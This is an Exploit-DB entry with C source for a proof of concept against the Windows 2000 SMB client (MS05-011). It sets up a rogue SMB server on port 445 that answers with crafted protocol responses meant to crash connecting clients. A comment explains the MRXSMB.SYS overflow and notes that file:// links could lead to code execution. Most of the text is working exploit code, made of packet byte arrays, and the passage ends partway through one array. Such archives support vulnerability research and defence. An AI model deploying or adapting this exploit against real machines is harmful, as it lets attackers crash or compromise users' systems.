Exploit-DB #1065
Description: Microsoft Windows - 'SMB' Transaction Response Handling (MS05-011)
Type: dos
Platform: windows
Date: 2005-06-23
Author: cybertronic

Exploit:
/*
 * Windows SMB Client Transaction Response Handling
 *
 * MS05-011
 * CAN-2005-0045
 *
 * This works against >> Win2k <<
 *
 * cybertronic[at]gmx[dot]net
 * http://www.livejournal.com/users/cybertronic/
 *
 * usage:
 * gcc -o mssmb_poc mssmb_poc.c
 * ./mssmb_poc
 *
 * connect via \\ip
 * and hit the netbios folder!
 *
 * ***STOP: 0x00000050 (0xF115B000,0x00000001,0xFAF24690,
 *                      0x00000000)
 * PAGE_FAULT_IN_NONPAGED_AREA
 *
 * The Client reboots immediately
 *
 * Technical Details:
 * -----------------
 *
 * The driver MRXSMB.SYS is responsible for performing SMB
 * client operations and processing the responses returned
 * by an SMB server service. A number of important Windows
 * File Sharing operations, and all RPC-over-named-pipes,
 * use the SMB commands Trans (25h) and Trans2 (32h). A
 * malicious SMB server can respond with specially crafted
 * Transaction response data that will cause an overflow
 * wherever the data is handled, either in MRXSMB.SYS or
 * in client code to which it provides data. One example
 * would be if the
 *
 * file name length field
 *
 * and the
 *
 * short file name length field
 *
 * in a Trans2 FIND_FIRST2 response packet can be supplied
 * with inappropriately large values in order to cause an
 * excessive memcpy to occur when the data is handled.
 * In the case of these examples an attacker could leverage
 * file:// links, that when clicked by a remote user, would
 * lead to code execution.
 *
 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT	445

unsigned char SmbNeg[] =
"\x00\x00\x00\x55"
"\xff\x53\x4d\x42"                 // SMB
"\x72"                             // SMB Command: Negotiate Protocol (0x72)
"\x00\x00\x00\x00"                 // NT Status: STATUS_SUCCESS (0x00000000)
"\x98"                             // Flags: 0x98
"\x53\xc8"                         // Flags2 : 0xc853
"\x00\x00"                         // Process ID High: 0
"\x00\x00\x00\x00\x00\x00\x00\x00" // Signature: [PII_REDACTED]
"\x00\x00"                         // Reserved: 0000
"\x00\x00"                         // Tree ID: 0
"\xff\xfe"                         // Process ID: 65279
"\x00\x00"                         // User ID: 0
"\x00\x00"                         // Multiplex ID: 0
"\x11"                             // Word Count (WCT): 17
"\x05\x00"                         // Dialect Index: 5, greater than LANMAN2.1
"\x03"                             // Security Mode: 0x03
"\x0a\x00"                         // Max Mpx Count: 10
"\x01\x00"                         // Max VCs: 1
"\x04\x11\x00\x00"                 // Max Buffer Size: 4356
"\x00\x00\x01\x00"                 // Max Raw Buffer 65536
"\x00\x00\x00\x00"                 // Session Key: 0x00000000
"\xfd\xe3\x00\x80"                 // Capabilities: 0x8000e3fd
"\x52\xa2\x4e\x73\xcb\x75\xc5\x01" // System Time: Jun 20, 2005 12:08:32.327125000
"\x88\xff"                         // Server Time Zone: /120 min from UTC
"\x00"                             // Key Length: 0
"\x10\x00"                         // Byte Count (BCC): 16
"\x9e\x12\xd7\x77\xd4\x59\x6c\x40" // Server GUID: 9E12D777D4596C40
"\xbc\xc0\xb4\x22\x40\x50\x01\xd4";//              BCC0B422405001D4

unsigned char SessionSetupAndXNeg[] = // Negotiate ERROR Response
"\x00\x00\x01\x1b"
"\xff\x53\x4d\x42\x73\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00"                         // Tree ID: 0
"\x00\x00"                         // Process ID: 0
"\x00\x00"                         // USER ID
"\x00\x00"                         // Multiplex ID: 0
"\x04\xff\x00\x1b\x01\x00\x00\xa6\x00\xf0\x00\x4e\x54\x4c\x4d\x53"
"\x53\x50\x00\x02\x00\x00\x00\x12\x00\x12\x00\x30\x00\x00\x00\x15"
"\x82\x8a\xe0"
"\x00\x00\x00\x00\x00\x00\x00\x00" // NTLM Challenge
"\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x64\x00\x42\x00\x00\x00"
"\x53\x00\x45\x00\x52\x00\x56\x00\x49\x00\x43\x00\x45\x00\x50\x00"
"\x43\x00\x02\x00\x12\x00\x53\x00\x45\x00\x52\x00\x56\x00\x49\x00"
"\x43\x00\x45\x00\x50\x00\x43\x00\x01\x00\x12\x00\x53\x00\x45\x00"
"\x52\x00\x56\x00\x49\x00\x43\x00\x45\x00\x50\x00\x43\x00\x04\x00"
"\x12\x00\x73\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00"
"\x70\x00\x63\x00\x03\x00\x12\x00\x73\x00\x65\x00\x72\x00\x76\x00"
"\x69\x00\x63\x00\x65\x00\x70\x00\x63\x00\x06\x00\x04\x00\x01\x00"
"\x00\x00\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
"\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x57"
"\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
"\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00\x41\x00\x4e\x00\x20"
"\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00";

unsigned char SessionSetupAndXAuth[] =
"\x00\x00\x00\x75"
"\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00"                         // Tree ID: 0
"\x00\x00"                         // Process ID: 0
"\x00\x00"                         // USER ID
"\x00\x00"                         // Multiplex ID: 0
"\x04\xff\x00\x75\x00\x01\x00\x00\x00\x4a\x00\x4e\x57\x00\x69\x00"
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00"
"\x31\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00"
"\x41\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00"
"\x65\x00\x72\x00\x00";

unsigned char TreeConnectAndX[] =
"\x00\x00\x00\x38"
"\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00"                         // Tree ID: 0
"\x00\x00"                         // Process ID: 0
"\x00\x00"                         // USER ID
"\x00\x00"                         // Multiplex ID: 0
"\x07\xff\x00\x38\x00\x01\x00\xff\x01\x00\x00\xff\x01\x0